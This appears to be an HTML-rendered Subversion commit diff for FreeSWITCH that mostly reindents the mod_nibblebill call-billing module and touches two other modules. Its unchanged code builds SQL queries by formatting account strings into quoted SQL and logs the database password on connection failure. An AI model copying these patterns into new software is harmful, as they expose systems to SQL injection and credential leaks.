</span><span class="lines">@@ -53,31 +53,28 @@
</span><span class="cx"> static char SQL_LOOKUP[] = &quot;SELECT %s FROM %s WHERE %s='%s'&quot;;
</span><span class="cx"> static char SQL_SAVE[] = &quot;UPDATE %s SET %s=%s-%f WHERE %s='%s'&quot;;
</span><span class="cx"> 
</span><del>-typedef struct
-{
-        switch_time_t lastts;        /* Last time we did any billing */
-        float total;        /* Total amount billed so far */
</del><ins>+typedef struct {
+        switch_time_t lastts;                /* Last time we did any billing */
+        float total;                                /* Total amount billed so far */
</ins><span class="cx"> 
</span><del>-        switch_time_t pausets;        /* Timestamp of when a pause action started. 0 if not paused */
-        float bill_adjustments;        /* Adjustments to make to the next billing, based on pause/resume events */
</del><ins>+        switch_time_t pausets;                /* Timestamp of when a pause action started. 0 if not paused */
+        float bill_adjustments;                /* Adjustments to make to the next billing, based on pause/resume events */
</ins><span class="cx"> 
</span><span class="cx"> } nibble_data_t;
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-typedef struct nibblebill_results
-{
-        float        balance;
</del><ins>+typedef struct nibblebill_results {
+        float balance;
</ins><span class="cx"> 
</span><del>-        float        percall_max; /* Overrides global on a per-user level */
-        float        lowbal_amt;  /*  ditto */
</del><ins>+        float percall_max;                        /* Overrides global on a per-user level */
+        float lowbal_amt;                        /*  ditto */
</ins><span class="cx"> } nibblebill_results_t;
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> /* Keep track of our config, event hooks and database connection variables, for this module only */
</span><del>-static struct
-{
</del><ins>+static struct {
</ins><span class="cx">         /* Memory */
</span><del>-        switch_memory_pool_t *pool;
</del><ins>+        switch_memory_pool_t *pool;
</ins><span class="cx"> 
</span><span class="cx">         /* Event hooks */
</span><span class="cx">         switch_event_node_t *node;
</span><span class="lines">@@ -86,15 +83,15 @@
</span><span class="cx">         switch_mutex_t *mutex;
</span><span class="cx"> 
</span><span class="cx">         /* Global billing config options */
</span><del>-        float        percall_max_amt;        /* Per-call billing limit (safety check, for fraud) */
-        char        *percall_action;        /* Exceeded length of per-call action */
-        float        lowbal_amt;                /* When we warn them they are near depletion */
-        char        *lowbal_action;                /* Low balance action */
-        float        nobal_amt;                /* Minimum amount that must remain in the account */
-        char        *nobal_action;                /* Drop action */
</del><ins>+        float percall_max_amt;                /* Per-call billing limit (safety check, for fraud) */
+        char *percall_action;                /* Exceeded length of per-call action */
+        float lowbal_amt;                        /* When we warn them they are near depletion */
+        char *lowbal_action;                /* Low balance action */
+        float nobal_amt;                        /* Minimum amount that must remain in the account */
+        char *nobal_action;                        /* Drop action */
</ins><span class="cx"> 
</span><span class="cx">         /* Other options */
</span><del>-        int        global_heartbeat;        /* Supervise and bill every X seconds, 0 means off */
</del><ins>+        int global_heartbeat;                /* Supervise and bill every X seconds, 0 means off */
</ins><span class="cx"> 
</span><span class="cx">         /* Database settings */
</span><span class="cx">         char *db_username;
</span><span class="lines">@@ -135,7 +132,7 @@
</span><span class="cx"> {
</span><span class="cx">         nibblebill_results_t *cbt = (nibblebill_results_t *) pArg;
</span><span class="cx"> 
</span><del>-        cbt-&gt;balance = (float)atof(argv[0]);
</del><ins>+        cbt-&gt;balance = (float) atof(argv[0]);
</ins><span class="cx"> 
</span><span class="cx">         return 0;
</span><span class="cx"> }
</span><span class="lines">@@ -145,13 +142,13 @@
</span><span class="cx">         char *cf = &quot;nibblebill.conf&quot;;
</span><span class="cx">         switch_xml_t cfg, xml = NULL, param, settings;
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_SUCCESS;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!(xml = switch_xml_open_cfg(cf, &amp;cfg, NULL))) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;open of %s failed\n&quot;, cf);
</span><del>-                status = SWITCH_STATUS_SUCCESS;  /* We don't fail because we can still write to a text file or buffer */
</del><ins>+                status = SWITCH_STATUS_SUCCESS;        /* We don't fail because we can still write to a text file or buffer */
</ins><span class="cx">                 goto setdefaults;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((settings = switch_xml_child(cfg, &quot;settings&quot;))) {
</span><span class="cx">                 for (param = switch_xml_child(settings, &quot;param&quot;); param; param = param-&gt;next) {
</span><span class="cx">                         char *var = (char *) switch_xml_attr_soft(param, &quot;name&quot;);
</span><span class="lines">@@ -172,23 +169,23 @@
</span><span class="cx">                         } else if (!strcasecmp(var, &quot;percall_action&quot;)) {
</span><span class="cx">                                 set_global_percall_action(val);
</span><span class="cx">                         } else if (!strcasecmp(var, &quot;percall_max_amt&quot;)) {
</span><del>-                                globals.percall_max_amt = (float)atof(val);
</del><ins>+                                globals.percall_max_amt = (float) atof(val);
</ins><span class="cx">                         } else if (!strcasecmp(var, &quot;lowbal_action&quot;)) {
</span><span class="cx">                                 set_global_lowbal_action(val);
</span><span class="cx">                         } else if (!strcasecmp(var, &quot;lowbal_amt&quot;)) {
</span><del>-                                globals.lowbal_amt = (float)atof(val);
</del><ins>+                                globals.lowbal_amt = (float) atof(val);
</ins><span class="cx">                         } else if (!strcasecmp(var, &quot;nobal_action&quot;)) {
</span><span class="cx">                                 set_global_nobal_action(val);
</span><span class="cx">                         } else if (!strcasecmp(var, &quot;nobal_amt&quot;)) {
</span><del>-                                globals.nobal_amt = (float)atof(val);
</del><ins>+                                globals.nobal_amt = (float) atof(val);
</ins><span class="cx">                         } else if (!strcasecmp(var, &quot;global_heartbeat&quot;)) {
</span><span class="cx">                                 globals.global_heartbeat = atoi(val);
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx"> /* Set defaults for any variables still not set */
</span><del>-setdefaults:
</del><ins>+  setdefaults:
</ins><span class="cx">         if (zstr(globals.db_username)) {
</span><span class="cx">                 set_global_db_username(&quot;bandwidth.com&quot;);
</span><span class="cx">         }
</span><span class="lines">@@ -218,7 +215,7 @@
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">                 if (switch_odbc_handle_connect(globals.master_odbc) != SWITCH_ODBC_SUCCESS) {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, 
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT,
</ins><span class="cx">                                                           &quot;Cannot connect to ODBC driver/database %s (user: %s / pass %s)!\n&quot;,
</span><span class="cx">                                                           globals.db_dsn, globals.db_username, globals.db_password);
</span><span class="cx">                         status = SWITCH_STATUS_FALSE;
</span><span class="lines">@@ -232,7 +229,7 @@
</span><span class="cx">                                                   &quot;ODBC does not appear to be installed in the core. You need to run ./configure --enable-core-odbc-support\n&quot;);
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-done:
</del><ins>+  done:
</ins><span class="cx">         if (xml) {
</span><span class="cx">                 switch_xml_free(xml);
</span><span class="cx">         }
</span><span class="lines">@@ -241,7 +238,7 @@
</span><span class="cx"> 
</span><span class="cx"> void debug_event_handler(switch_event_t *event)
</span><span class="cx"> {
</span><del>-         if (!event) {
</del><ins>+        if (!event) {
</ins><span class="cx">                 return;
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="lines">@@ -305,8 +302,9 @@
</span><span class="cx">                 return SWITCH_STATUS_SUCCESS;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        switch_snprintf(sql, 1024, SQL_SAVE, globals.db_table, globals.db_column_cash, globals.db_column_cash, billamount, globals.db_column_account, billaccount);
-        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,  &quot;Doing update query\n[%s]\n&quot;, sql);
</del><ins>+        switch_snprintf(sql, 1024, SQL_SAVE, globals.db_table, globals.db_column_cash, globals.db_column_cash, billamount, globals.db_column_account,
+                                        billaccount);
+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Doing update query\n[%s]\n&quot;, sql);
</ins><span class="cx"> 
</span><span class="cx">         if (switch_odbc_handle_exec(globals.master_odbc, sql, &amp;stmt, NULL) != SWITCH_ODBC_SUCCESS) {
</span><span class="cx">                 char *err_str;
</span><span class="lines">@@ -347,9 +345,9 @@
</span><span class="cx">                 /* Successfully retrieved! */
</span><span class="cx">                 balance = pdata.balance;
</span><span class="cx"> 
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,  &quot;Retrieved current balance for account %s (balance = %f)\n&quot;, billaccount, balance);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Retrieved current balance for account %s (balance = %f)\n&quot;, billaccount, balance);
</ins><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return balance;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -394,7 +392,8 @@
</span><span class="cx">                 return SWITCH_STATUS_SUCCESS;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Attempting to bill at $%s per minute to account %s\n&quot;, billrate, billaccount);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Attempting to bill at $%s per minute to account %s\n&quot;, billrate,
+                                          billaccount);
</ins><span class="cx"> 
</span><span class="cx">         /* Get caller profile info from channel */
</span><span class="cx">         profile = switch_channel_get_caller_profile(channel);
</span><span class="lines">@@ -409,10 +408,11 @@
</span><span class="cx"> 
</span><span class="cx">                 /* See if this person has enough money left to continue the call */
</span><span class="cx">                 balance = get_balance(billaccount);
</span><del>-switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Comparing %f to hangup balance of %f\n&quot;, balance, globals.nobal_amt);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Comparing %f to hangup balance of %f\n&quot;, balance, globals.nobal_amt);
</ins><span class="cx">                 if (balance &lt;= globals.nobal_amt) {
</span><span class="cx">                         /* Not enough money - reroute call to nobal location */
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Balance of %f fell below allowed amount of %f! (Account %s)\n&quot;, balance, globals.nobal_amt, billaccount);
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Balance of %f fell below allowed amount of %f! (Account %s)\n&quot;,
+                                                          balance, globals.nobal_amt, billaccount);
</ins><span class="cx"> 
</span><span class="cx">                         transfer_call(session, globals.nobal_action);
</span><span class="cx">                 }
</span><span class="lines">@@ -443,7 +443,7 @@
</span><span class="cx">                 memset(nibble_data, 0, sizeof(*nibble_data));
</span><span class="cx"> 
</span><span class="cx">                 /* Setup new billing data (based on call answer time, in case this module started late with active calls) */
</span><del>-                nibble_data-&gt;lastts = profile-&gt;times-&gt;answered;                /* Set the initial answer time to match when the call was really answered */
</del><ins>+                nibble_data-&gt;lastts = profile-&gt;times-&gt;answered;        /* Set the initial answer time to match when the call was really answered */
</ins><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, &quot;Beginning new billing on %s\n&quot;, uuid);
</span><span class="cx">         } else {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Last successful billing time was %s\n&quot;, date);
</span><span class="lines">@@ -452,13 +452,15 @@
</span><span class="cx">         switch_time_exp_lt(&amp;tm, nibble_data-&gt;lastts);
</span><span class="cx">         switch_strftime_nocheck(date, &amp;retsize, sizeof(date), &quot;%Y-%m-%d %T&quot;, &amp;tm);
</span><span class="cx"> 
</span><del>-        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;%d seconds passed since last bill time of %s\n&quot;, (int) ((ts - nibble_data-&gt;lastts) / 1000000), date);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;%d seconds passed since last bill time of %s\n&quot;,
+                                          (int) ((ts - nibble_data-&gt;lastts) / 1000000), date);
</ins><span class="cx"> 
</span><span class="cx">         if ((ts - nibble_data-&gt;lastts) &gt;= 0) {
</span><span class="cx">                 /* Convert billrate into microseconds and multiply by # of microseconds that have passed since last *successful* bill */
</span><del>-                billamount = ((float)atof(billrate) / 1000000 / 60) * ((ts - nibble_data-&gt;lastts)) - nibble_data-&gt;bill_adjustments;
</del><ins>+                billamount = ((float) atof(billrate) / 1000000 / 60) * ((ts - nibble_data-&gt;lastts)) - nibble_data-&gt;bill_adjustments;
</ins><span class="cx"> 
</span><del>-                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Billing $%f to %s (Call: %s / %f so far)\n&quot;, billamount, billaccount, uuid, nibble_data-&gt;total);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Billing $%f to %s (Call: %s / %f so far)\n&quot;, billamount, billaccount,
+                                                  uuid, nibble_data-&gt;total);
</ins><span class="cx"> 
</span><span class="cx">                 /* DO ODBC BILLING HERE and reset counters if it's successful! */
</span><span class="cx">                 if (bill_event(billamount, billaccount) == SWITCH_STATUS_SUCCESS) {
</span><span class="lines">@@ -474,7 +476,8 @@
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_CRIT, &quot;Failed to log to database!\n&quot;);
</span><span class="cx">                 }
</span><span class="cx">         } else {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, &quot;Just tried to bill %s negative minutes! That should be impossible.\n&quot;, uuid);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, &quot;Just tried to bill %s negative minutes! That should be impossible.\n&quot;,
+                                                  uuid);
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         /* Update the last time we billed */
</span><span class="lines">@@ -488,7 +491,8 @@
</span><span class="cx">                 balance = get_balance(billaccount);
</span><span class="cx">                 if (balance &lt;= globals.nobal_amt) {
</span><span class="cx">                         /* Not enough money - reroute call to nobal location */
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Balance of %f fell below allowed amount of %f! (Account %s)\n&quot;, balance, globals.nobal_amt, billaccount);
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Balance of %f fell below allowed amount of %f! (Account %s)\n&quot;,
+                                                          balance, globals.nobal_amt, billaccount);
</ins><span class="cx"> 
</span><span class="cx">                         /* IMPORTANT: Billing must be paused before the transfer occurs! This prevents infinite loops, since the transfer will result */
</span><span class="cx">                         /* in nibblebill checking the call again in the routing process for an allowed balance! */
</span><span class="lines">@@ -496,7 +500,7 @@
</span><span class="cx">                         nibblebill_pause(session);
</span><span class="cx">                         transfer_call(session, globals.nobal_action);
</span><span class="cx">                 }
</span><del>-        }
</del><ins>+        }
</ins><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx">         /* Done changing - release lock */
</span><span class="lines">@@ -515,18 +519,18 @@
</span><span class="cx">         switch_core_session_t *session;
</span><span class="cx">         char *uuid;
</span><span class="cx"> 
</span><del>-        if (!event){
</del><ins>+        if (!event) {
</ins><span class="cx">                 /* We should never get here - it means an event came in without the event info */
</span><span class="cx">                 return;
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         /* Make sure everything is sane */
</span><del>-        if (!(uuid = switch_event_get_header(event, &quot;Unique-ID&quot;))){
</del><ins>+        if (!(uuid = switch_event_get_header(event, &quot;Unique-ID&quot;))) {
</ins><span class="cx">                 /* Donde esta channel? */
</span><span class="cx">                 return;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Received request via %s!\n&quot;, switch_event_name (event-&gt;event_id));
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Received request via %s!\n&quot;, switch_event_name(event-&gt;event_id));
</ins><span class="cx"> 
</span><span class="cx">         /* Display debugging info */
</span><span class="cx">         if (switch_event_get_header(event, &quot;nibble_debug&quot;)) {
</span><span class="lines">@@ -594,12 +598,14 @@
</span><span class="cx">         nibble_data = (nibble_data_t *) switch_channel_get_private(channel, &quot;_nibble_data_&quot;);
</span><span class="cx"> 
</span><span class="cx">         if (!nibble_data) {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Can't resume - channel is not initialized for billing (This is expected at hangup time)!\n&quot;);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,
+                                                  &quot;Can't resume - channel is not initialized for billing (This is expected at hangup time)!\n&quot;);
</ins><span class="cx">                 return;
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if (nibble_data-&gt;pausets == 0) {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Can't resume - channel is not paused! (This is expected at hangup time)\n&quot;);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,
+                                                  &quot;Can't resume - channel is not paused! (This is expected at hangup time)\n&quot;);
</ins><span class="cx">                 return;
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="lines">@@ -611,8 +617,9 @@
</span><span class="cx">         billrate = switch_channel_get_variable(channel, &quot;nibble_rate&quot;);
</span><span class="cx"> 
</span><span class="cx">         /* Calculate how much was &quot;lost&quot; to billings during pause - we do this here because you never know when the billrate may change during a call */
</span><del>-        nibble_data-&gt;bill_adjustments += ((float)atof(billrate) / 1000000 / 60) * ((ts - nibble_data-&gt;pausets));
-        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, &quot;Resumed billing! Subtracted %f from this billing cycle.\n&quot;, (atof(billrate) / 1000000 / 60) * ((ts - nibble_data-&gt;pausets)));
</del><ins>+        nibble_data-&gt;bill_adjustments += ((float) atof(billrate) / 1000000 / 60) * ((ts - nibble_data-&gt;pausets));
+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, &quot;Resumed billing! Subtracted %f from this billing cycle.\n&quot;,
+                                          (atof(billrate) / 1000000 / 60) * ((ts - nibble_data-&gt;pausets)));
</ins><span class="cx"> 
</span><span class="cx">         nibble_data-&gt;pausets = 0;
</span><span class="cx"> 
</span><span class="lines">@@ -699,7 +706,7 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         /* Variables kept in FS but relevant only to this module */
</span><del>-        
</del><ins>+
</ins><span class="cx">         billaccount = switch_channel_get_variable(channel, &quot;nibble_account&quot;);
</span><span class="cx"> 
</span><span class="cx">         /* Return if there's no billing information on this session */
</span><span class="lines">@@ -725,7 +732,7 @@
</span><span class="cx">         if (!zstr(data) &amp;&amp; (lbuf = strdup(data))
</span><span class="cx">                 &amp;&amp; (argc = switch_separate_string(lbuf, ' ', argv, (sizeof(argv) / sizeof(argv[0]))))) {
</span><span class="cx">                 if (!strcasecmp(argv[0], &quot;adjust&quot;) &amp;&amp; argc == 2) {
</span><del>-                        nibblebill_adjust(session, (float)atof(argv[1]));
</del><ins>+                        nibblebill_adjust(session, (float) atof(argv[1]));
</ins><span class="cx">                 } else if (!strcasecmp(argv[0], &quot;flush&quot;)) {
</span><span class="cx">                         do_billing(session);
</span><span class="cx">                 } else if (!strcasecmp(argv[0], &quot;pause&quot;)) {
</span><span class="lines">@@ -760,7 +767,7 @@
</span><span class="cx">                                 channel = switch_core_session_get_channel(psession);
</span><span class="cx"> 
</span><span class="cx">                                 if (!strcasecmp(argv[1], &quot;adjust&quot;) &amp;&amp; argc == 3) {
</span><del>-                                        nibblebill_adjust(psession, (float)atof(argv[2]));
</del><ins>+                                        nibblebill_adjust(psession, (float) atof(argv[2]));
</ins><span class="cx">                                 } else if (!strcasecmp(argv[1], &quot;flush&quot;)) {
</span><span class="cx">                                         do_billing(psession);
</span><span class="cx">                                 } else if (!strcasecmp(argv[1], &quot;pause&quot;)) {
</span><span class="lines">@@ -805,7 +812,7 @@
</span><span class="cx"> static switch_status_t process_hangup(switch_core_session_t *session)
</span><span class="cx"> {
</span><span class="cx">         /* Resume any paused billings, just in case */
</span><del>-        //        nibblebill_resume(session);
</del><ins>+        //  nibblebill_resume(session);
</ins><span class="cx"> 
</span><span class="cx">         /* Now go handle like normal billing */
</span><span class="cx">         do_billing(session);
</span><span class="lines">@@ -813,17 +820,19 @@
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-switch_state_handler_table_t nibble_state_handler =
-{
-        /* on_init */           NULL,
-        /* on_routing */           process_hangup,        /* Need to add a check here for anything in their account before routing */
-        /* on_execute */           sched_billing,  /* Turn on heartbeat for this session and do an initial account check */
-        /* on_hangup */           process_hangup, /* On hangup - most important place to go bill */
-        /* on_exch_media */           sched_billing,
-        /* on_soft_exec */           NULL,
-        /* on_consume_med */           NULL,
-        /* on_hibernate */           NULL,
-        /* on_reset */           NULL
</del><ins>+switch_state_handler_table_t nibble_state_handler = {
+        /* on_init */ NULL,
+                                                                                /* on_routing */ process_hangup,
+                                                                                /* Need to add a check here for anything in their account before routing */
+                                                                        /* on_execute */ sched_billing,
+                                                                        /* Turn on heartbeat for this session and do an initial account check */
+                                                                        /* on_hangup */ process_hangup,
+                                                                        /* On hangup - most important place to go bill */
+        /* on_exch_media */ sched_billing,
+        /* on_soft_exec */ NULL,
+        /* on_consume_med */ NULL,
+        /* on_hibernate */ NULL,
+        /* on_reset */ NULL
</ins><span class="cx"> };
</span><span class="cx"> 
</span><span class="cx"> SWITCH_MODULE_LOAD_FUNCTION(mod_nibblebill_load)
</span><span class="lines">@@ -831,13 +840,13 @@
</span><span class="cx">         switch_api_interface_t *api_interface;
</span><span class="cx">         switch_application_interface_t *app_interface;
</span><span class="cx"> 
</span><del>-        /* Set every byte in this structure to 0 */        
</del><ins>+        /* Set every byte in this structure to 0 */
</ins><span class="cx">         memset(&amp;globals, 0, sizeof(globals));
</span><span class="cx">         globals.pool = pool;
</span><span class="cx">         switch_mutex_init(&amp;globals.mutex, SWITCH_MUTEX_NESTED, globals.pool);
</span><span class="cx"> 
</span><span class="cx">         load_config();
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* connect my internal structure to the blank pointer passed to me */
</span><span class="cx">         *module_interface = switch_loadable_module_create_module_interface(pool, modname);
</span><span class="cx"> 
</span><span class="lines">@@ -845,13 +854,16 @@
</span><span class="cx">         SWITCH_ADD_API(api_interface, &quot;nibblebill&quot;, &quot;Manage billing parameters for a channel/call&quot;, nibblebill_api_function, API_SYNTAX);
</span><span class="cx"> 
</span><span class="cx">         /* Add dialplan applications */
</span><del>-        SWITCH_ADD_APP(app_interface, &quot;nibblebill&quot;, &quot;Handle billing for the current channel/call&quot;, &quot;Pause, resume, reset, adjust, flush, heartbeat commands to handle billing.&quot;, nibblebill_app_function, APP_SYNTAX, SAF_NONE | SAF_ROUTING_EXEC);
</del><ins>+        SWITCH_ADD_APP(app_interface, &quot;nibblebill&quot;, &quot;Handle billing for the current channel/call&quot;,
+                                   &quot;Pause, resume, reset, adjust, flush, heartbeat commands to handle billing.&quot;, nibblebill_app_function, APP_SYNTAX,
+                                   SAF_NONE | SAF_ROUTING_EXEC);
</ins><span class="cx"> 
</span><span class="cx">         /* register state handlers for billing */
</span><span class="cx">         switch_core_add_state_handler(&amp;nibble_state_handler);
</span><span class="cx"> 
</span><span class="cx">         /* bind to heartbeat events */
</span><del>-        if (switch_event_bind_removable(modname, SWITCH_EVENT_SESSION_HEARTBEAT, SWITCH_EVENT_SUBCLASS_ANY, event_handler, NULL, &amp;globals.node) != SWITCH_STATUS_SUCCESS) {
</del><ins>+        if (switch_event_bind_removable(modname, SWITCH_EVENT_SESSION_HEARTBEAT, SWITCH_EVENT_SUBCLASS_ANY, event_handler, NULL, &amp;globals.node) !=
+                SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Couldn't bind event to monitor for session heartbeats!\n&quot;);
</span><span class="cx">                 return SWITCH_STATUS_GENERR;
</span><span class="cx">         }
</span><span class="lines">@@ -861,7 +873,7 @@
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_nibblebill_shutdown)
</span><del>-{        
</del><ins>+{
</ins><span class="cx">         switch_event_unbind(&amp;globals.node);
</span><span class="cx">         switch_core_remove_state_handler(&amp;nibble_state_handler);
</span><span class="cx">         switch_odbc_handle_disconnect(globals.master_odbc);
</span></span></pre></div>
<a id="freeswitchtrunksrcmodapplicationsmod_rssmod_rssc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/applications/mod_rss/mod_rss.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/applications/mod_rss/mod_rss.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_rss/mod_rss.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -184,9 +184,9 @@
</span><span class="cx">         switch_input_args_t args = { 0 };
</span><span class="cx">         const char *vcf = NULL;
</span><span class="cx">         char *chanvars = switch_channel_build_param_string(channel, NULL, NULL);
</span><del>-        switch_codec_implementation_t read_impl = {0};
</del><ins>+        switch_codec_implementation_t read_impl = { 0 };
</ins><span class="cx">         uint32_t rate, interval;
</span><del>-    switch_core_session_get_read_impl(session, &amp;read_impl);
</del><ins>+        switch_core_session_get_read_impl(session, &amp;read_impl);
</ins><span class="cx">         interval = read_impl.microseconds_per_packet / 1000;
</span><span class="cx"> 
</span><span class="cx">         if ((vcf = switch_channel_get_variable(channel, &quot;rss_alt_config&quot;))) {
</span></span></pre></div>
<a id="freeswitchtrunksrcmodapplicationsmod_skelmod_skelc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/applications/mod_skel/mod_skel.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/applications/mod_skel/mod_skel.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_skel/mod_skel.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -55,42 +55,46 @@
</span><span class="cx">         int integer;
</span><span class="cx"> } globals;
</span><span class="cx"> 
</span><del>-static switch_status_t config_callback_siptrace(switch_xml_config_item_t *data, switch_config_callback_type_t callback_type, switch_bool_t changed) 
</del><ins>+static switch_status_t config_callback_siptrace(switch_xml_config_item_t *data, switch_config_callback_type_t callback_type, switch_bool_t changed)
</ins><span class="cx"> {
</span><del>-        switch_bool_t value = *(switch_bool_t*)data-&gt;ptr;
</del><ins>+        switch_bool_t value = *(switch_bool_t *) data-&gt;ptr;
</ins><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;In siptrace callback: value %s changed %s\n&quot;,
</span><del>-                value ? &quot;true&quot; : &quot;false&quot;, changed ? &quot;true&quot; : &quot;false&quot;);
-        
-        
</del><ins>+                                          value ? &quot;true&quot; : &quot;false&quot;, changed ? &quot;true&quot; : &quot;false&quot;);
+
+
</ins><span class="cx">         /*
</span><del>-        if ((callback_type == CONFIG_LOG || callback_type == CONFIG_RELOAD) &amp;&amp; changed) {
-                nua_set_params(((sofia_profile_t*)data-&gt;functiondata)-&gt;nua, TPTAG_LOG(value), TAG_END());
-        } 
-        */
-        
</del><ins>+           if ((callback_type == CONFIG_LOG || callback_type == CONFIG_RELOAD) &amp;&amp; changed) {
+           nua_set_params(((sofia_profile_t*)data-&gt;functiondata)-&gt;nua, TPTAG_LOG(value), TAG_END());
+           } 
+         */
+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static switch_xml_config_string_options_t config_opt_codec_negotiation = { NULL, 0, &quot;greedy|generous|evil&quot; };
</span><ins>+
</ins><span class="cx"> /* enforce_min, min, enforce_max, max */
